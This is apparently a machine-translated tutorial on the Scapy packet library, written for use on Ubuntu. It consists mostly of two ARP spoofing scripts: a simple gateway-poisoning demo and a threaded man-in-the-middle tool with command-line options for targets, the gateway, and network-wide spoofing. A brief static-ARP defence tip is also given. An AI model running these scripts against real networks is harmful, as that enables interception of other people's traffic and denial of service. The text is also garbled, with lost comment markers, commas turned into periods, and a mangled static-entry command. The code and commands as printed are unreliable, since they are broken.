Scapy is a powerful interactive packet handler written in Python that can be used to send, sniff, parse and falsify network packets. Scapy is often used in network attacks and testing.
The installation of SCAPy is convenient on Linux, but complicated on Windows.
The following assumes that the reader is using an Ubuntu Linux and Python 3 environment.
The installation of SCAPy is very convenient under Linux. To complete the installation, run the following command from the terminal:
sudo pip3 install scapy-python3Copy the code
The following is a very simple ARP attack demonstration script. This script can help you understand the function and principle of ARP protocol in the experimental environment. Of course, you can even expand the script to write a complete ARP attack tool.
#! /usr/bin/python3
# -*- coding: utf-8 -*-
ARP attack demo script/arpdemo.py
from scapy.all import (
Ether,
ARP,
sendp
)
# Notice some of the methods here
# Ether is used to build Ethernet packets
ARP is the class that builds ARP packets
The # sendp method sends packets at layer 2
# Ether is used to build Ethernet packets
eth = Ether()
arp = ARP(
# indicates ARP request or response
op="is-at".Mac address of sender/Mac in poison record
hwsrc="08:00:27:97:d1:f5".Sender IP address/IP in poison record
psrc="192.168.31.1".Target Mac address/spoofed host Mac address
hwdst="2C:56:DC:D3:AB:DB".Destination IP address/spoofed host IP address
pdst="192.168.31.248"
192.168.31.100: MAC address 08:00:27:97:d1:f5
The IP address and MAC address of the destination host are broadcast by default
)
# scapy overloads the "/" operator, which can be used to represent a combination of two protocol layers
Here we output the structure information of the packet
print((eth/arp).show())
Send the packet, and repeat the packet every 1 second
sendp(eth/arp, inter=2, loop=1)Copy the code
Let’s take a look at the ARP cache on the host before the attack
arp -aCopy the code
Execute the script:
sudo python3 arpDemo.pyCopy the code
Here we tamper with the gateway record of the host, and the host cannot access the Internet normally after executing the attack script.
If you want to defend against this attack, you can simply write the IP and MAC address binding into the ARP cache. On Windows you can do this with the arp command, and on Linux it is similar.
Add static entry arp-s192.16831.1. 64- 09- 80.- 04-aa-c3Copy the code
Here is an example of a more sophisticated man-in-the-middle attack script that you can further refine
#! /usr/bin/python3
# -*- coding: utf-8 -*-
ARP attack script
import argparse
import threading
import time
from scapy.all import ARP, Ether, get_if_hwaddr, sendp
from scapy.layers.l2 import getmacbyip
# Notice some of the methods here
# Ether is used to build Ethernet packets
ARP is the class that builds ARP packets
The # sendp method sends packets at layer 2
The # getMacByIP method is used to obtain a MAC address by IP
The # get_if_hwaddr method obtains the MAC address of the specified network adapter
def get_mac(tgt_ip):
Call scapy's getMACByIP function to get the MAC address of the attack target IP. ' ' '
tgt_mac = getmacbyip(tgt_ip)
if tgt_mac is not None:
return tgt_mac
else:
print("Failed to obtain MAC address of host with IP: %s, please check if destination IP is alive"%tgt_ip)
def create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip):
Src_mac: indicates the MAC address of the target computer. Acts as a middleman. Tgt_mac: indicates the MAC address of the target computer. Gateway_ip: indicates the IP address of the gateway. Form ARP attack tgt_ip: IP of the target computer op= IS-AT, indicating ARP response ""
eth = Ether(src=src_mac, dst=tgt_mac)
arp = ARP(hwsrc=src_mac, psrc=gateway_ip, hwdst=tgt_mac, pdst=tgt_ip, op="is-at")
pkt = eth / arp
return pkt
def create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip):
Src_mac: the MAC address of the local computer, acting as a middleman gateway_mac: the MAC address of the gateway tgt_ip: the IP address of the target computer, directing the data sent from the gateway to the target computer to the local computer (middleman). Gateway_ip: indicates the IP address of the gateway op= IS-at, indicating an ARP response.
eth = Ether(src=src_mac, dst=gateway_mac)
arp = ARP(hwsrc=src_mac, psrc=tgt_ip, hwdst=gateway_mac, pdst=gateway_ip, op="is-at")
pkt = eth / arp
return pkt
def main(a):
""" Master method """
description = "ARP Attack script"
parser = argparse.ArgumentParser(description=description)
parser.add_argument('-sm', dest='srcmac', type=str, help='Sending the MAC of the source computer, if not provided, the local MAC address will be used by default.')
parser.add_argument('-t', dest='targetip', type=str, help='Specify target computer IP', required=True)
parser.add_argument('-tm', dest='targetmac', type=str, help='Specify the MAC address of the target computer. If not provided, the MAC address is obtained based on its IP address by default.')
parser.add_argument('-g', dest='gatewayip', type=str, help='Specify gateway IP', required=True)
parser.add_argument('-gm', dest='gatewaymac', type=str, help='Specify a gateway MAC address. If not provided, the default MAC address is obtained based on its IP address.')
parser.add_argument('-i', dest='interface', type=str, help='Specify the network card to use', required=True)
parser.add_argument('-a', dest='allarp', action='store_true', help='Whether to perform network-wide ARP spoofing')
args = parser.parse_args()
tgt_ip = args.targetip
gateway_ip = args.gatewayip
interface = args.interface
srcmac = args.srcmac
targetmac = args.targetmac
gatewaymac = args.gatewaymac
if tgt_ip is None or gateway_ip is None or interface is None:
print(parser.print_help())
exit(0)
src_mac = srcmac
if src_mac is None:
src_mac = get_if_hwaddr(interface)
print('The local MAC address is:', src_mac)
print("The target computer IP address is:", tgt_ip)
tgt_mac = targetmac
if tgt_mac is None:
tgt_mac = get_mac(tgt_ip)
print("The target computer MAC address is:", tgt_mac)
print("Gateway IP address is:", gateway_ip)
gateway_mac = gatewaymac
if gateway_mac is None:
gateway_mac = get_mac(gateway_ip)
print("Gateway MAC address is:", gateway_mac)
input('Press any key to continue:')
pkt_station = create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip)
pkt_gateway = create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip)
The following statement would make it easier to send a loop using sendp instead of multithreading and endless loops.
# sendp(pkt_station, inter=1, loop=1)
# sendp(pkt_gateway, inter=1, loop=1)
i = 1
while True:
t = threading.Thread(
target=sendp,
args=(pkt_station,),
kwargs={'inter':1.'iface':interface}
)
t.start()
t.join()
print(str(i) + "[*] Sends a computer ARP spoofing packet")
s = threading.Thread(
target=sendp,
args=(pkt_gateway,),
kwargs={'inter':1.'iface':interface}
)
s.start()
s.join()
print(str(i) + "[*] Sends a gateway ARP spoofing packet")
i += 1
time.sleep(1)
if __name__ == '__main__':
main()Copy the code